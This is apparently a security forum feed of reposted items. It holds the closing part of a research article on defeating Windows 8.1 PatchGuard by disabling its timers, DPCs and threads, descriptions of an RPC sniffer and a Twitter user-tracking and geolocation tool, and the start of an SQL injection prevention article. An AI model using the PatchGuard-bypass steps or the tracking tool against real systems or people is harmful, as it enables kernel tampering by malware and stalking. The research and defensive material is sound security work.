functions are located nearby, one after another starting from "FsRtlMdlReadCompleteDevEx". It tells us that they are likely to be located in a single compilation unit. This fact gives us a hope that all of the patchguard initialization paths have been covered in this article. Attacks Now, as we covered patchguard initialization, we know what wires of a patchguard bomb can be cut to defuse it! However, there are several ways depending on a patchguard DPC scheduling method. Since we cover a specific version of patchguard, i.e. Windows 8.1, we are going to use precomputed offsets for accessing the private kernel structures' fields. The common defusing principle is firstly to check if verification routine is in progress, and wait a bit if it is true. Then do the following: KeSetCoalescableTimer (0). Scan through the Prcb timer table and disable the one with suitable DPC object. AcpiReserved field (1). Zero this field out, so the DPC won't be fired again. HalReserved field (2). Same here. PspCreateSystemThread (3). Enumerate all threads in a system and unwind their stacks. Then check if a start routine from “KiServiceTablesLocked” structure is present in a call stack. If it is there, it's a patchguard thread. Disable it while it is in a wait state setting the wait time to infinite. APC (4). Take the current Prcb NUMA Node and its worker thread pool. Scan through its sleeping worker threads unwinding the stacks until "ExpWorkerThread" function. If there are functions that are not to be found in NT image runtime function data, try to unwind them sequentially with runtime data for "FsRtlMdlReadCompleteDevEx" and "FsRtlUninitializeSmallMcb". If succeeded, than it is a patchguard worker. Disable it setting the wait time to infinity. KiBalanceSetManagerPeriodicDpc (5). Zero this struct out. By disabling a timer we mean setting its due time to infinity, so it never fires. And by suitable DPC object we mean a DPC object with a deferred context set to a non-canonical address. Furthermore, you can additionally check this pointer to be valid after XORing its value with a quad-word following right after KDPC struct and ANDing it with 0xFFFF800000000000. As for the "CcBcbProfiler" piece, we consider it not to be relevant since there is a small chance that it will check exactly the needed function. Summary A quality of Windows 8.1 kernel patch protection mechanism is extremely high. There are a lot of interesting anti-debugging tricks used again dynamic analysis, f.e. resetting IDT before accessing debug registers (which leads you to hanging if you set break on debug registers access), overall obfuscation like using macroses for generating pseudo-random values, loop unrolling etc. It is also extremely difficult to do a static analysis since a lot of indirect function calls are used including the usage of exception handlers. It is a really nice tool to keep the system safe. Therefore we hope that as a developer you won't face situations when you need to disable this cool mechanism! Authors: Mark Ermolov, Artem Shishkin, Positive Research Sursa: Positive Research Center: Microsoft Windows 8.1 Kernel Patch Protection Analysis & Attack Vectors

Minim 50 de posturi pentru "Market".

Astia sunt roz. Nu-mi plac.

Cica ar fi administratorul indetectables.net.

Rpcsniffer RPCSniffer sniffs WINDOWS RPC messages in a given RPC server process. Download .zip Download .tar.gz View on GitHub RPCSniffer RPCSniffer sniffs RPC messages in a given RPC server process. General Information With RPCSniffer you can explore RPC Messages that present on Microsoft system. The data given for each RPC message contains the following details: Type (Async/Sync , Request/Response) Process number Thread number Procedure number Transfer Info GUID RPC minor version RPC major version [*]Interface Info GUID Dispatch table pointer Dispatch table size Dispatch table function pointer [*]Midl Info Dispatch pointer Server function address [*]RPC Flags [*]RPC Data Sursa: Rpcsniffer by AdiKo

tinfoleak – Get detailed information about a Twitter user activity The latest official version is 1.2 (03/02/2014). Download tinfoleak-1.2.tar.gz here. Some examples showing user tweets in Google Earth: [TABLE=width: 100%] [TR] [TD] [/TD] [TD][/TD] [/TR] [/TABLE] tinfoleak is a simple Python script that allow to obtain: basic information about a Twitter user (name, picture, location, followers, etc.) devices and operating systems used by the Twitter user applications and social networks used by the Twitter user place and geolocation coordinates to generate a tracking map of locations visited show user tweets in Google Earth! download all pics from a Twitter user hashtags used by the Twitter user and when are used (date and time) user mentions by the the Twitter user and when are occurred (date and time) topics used by the Twitter user You can filter all the information by: start date / time end date / time keywords Screenshots: [TABLE=width: 100%] [TR] [TD]Usage[/TD] [TD]Basic information[/TD] [TD]Client applications[/TD] [TD]Geolocation information[/TD] [/TR] [TR] [TD]Hashtags[/TD] [TD]User mentions[/TD] [TD]Find keywords[/TD] [TD][/TD] [/TR] [/TABLE] Sursa: » Tools Vicente Aguilera Diaz

SecurePHPWebAppCoding - SQL Injection - what is it and how to stop it? Abani Kumar Meher, 14 Sep 2014 Introduction In this article I have tried to cover some basic info about SQL injection, how we write code while developing a web application which results in SQL injection vulnerability, how attacker uses this flaw to gain unauthorized access and how can we change code little bit to overcome our mistakes and prevent attackers from using SQL injection in web application which makes our application more secure. This articles uses PHP and MySQL to show example but other languages have also similar function to prevent SQL injection. So lets see what SQL injection is. What is SQL Injection? SQL injection is a type of web application vulnerability using which an attacker can manipulate and submit a SQL command to retrieve unauthorized information from database. This type of attack mostly occurs when a web application executes data provided by user without validating or escaping it. SQL injection can give access to sensitive information such as financial data, credit card information or users personal information to the attacker and allows the attacker to manipulate data stored in database. It is not a database or web application server issue but it is a web application programming issue and most of the developers are not aware of this. What can an attacker achieve using SQL injection? Based on the application and how user data is handled by application, SQL injection attack is used for following. There are other scenario also. Unauthorized login:- Attacker can use SQL injection to get unauthorized access to users account and perform any action they want on that account. Privileges escalation:- A user with less privilege can use sql injection to login to an account with more privileges than his account and add more privileges to his account so that attacker can access more data/features of that application. Tamper with database data:- Attacker can update database data to change other profile details, change password which will result in problem for the other user. Dumping database:- Attacker can use SQL injection to dump all data from database and expose it with sensitive information like logins, credit card information etc of users. Deletion/destruction of data:- SQL injection can be used to delete data from database making website loose all records of user and all their details. Read files of web server:- Attacker can use SQL injection to load file present in web server and read the application code, configuration files etc. Damage company's reputation:- SQL injection can be used to dump all data and can be made it available publicly. No user likes their personal/sensitive data leaked. How can we prevent SQL injection? Never believe in user input and client side validation. Always validate user input on server end for specific data type or convert data to specific data type before using it in query. For string data, escape single quotes and double quotes or convert string to html entities(this will increase length of string, so depending upon the field type/length, use it). Try to avoid creating query using string concatenation. It is one of the main reason which makes a web application vulnerable to SQL injection but most of the developers use this approach to generate query because they find it easy without thinking or knowing about the mistake they are making. Use prepared statement and parameter binding. Whenever possible replace potentially dangerous characters for database from user input data. [TABLE=width: 500] [TR] [TD=align: center]Special Database Characters[/TD] [TD=align: center]Function in database[/TD] [/TR] [TR] [TD=align: center];[/TD] [TD=align: center]Query Delimiter[/TD] [/TR] [TR] [TD=align: center]'[/TD] [TD=align: center]Character data string delimiter[/TD] [/TR] [TR] [TD=align: center]--[/TD] [TD=align: center]Single line comment[/TD] [/TR] [TR] [TD=align: center]/* */[/TD] [TD=align: center]Multiline comment[/TD] [/TR] [TR] [TD=align: center][/TD] [TD][/TD] [/TR] [/TABLE] NOTE: Special database characters may vary from database to database. Use account with less permissions for web application to execute query. Now lets do some real work. Lets see how we write code which allows hacker to use SQL injection in website and with that we will see how can we write few more lines of code with that code to prevent SQL injection in website. We will see it using PHP but the same thing can be done to/using application written in other programming language. So lets begin. Lets see the classic example first which everyone says when you ask about SQL injection. Articol: SecurePHPWebAppCoding - SQL Injection - what is it and how to stop it? - CodeProject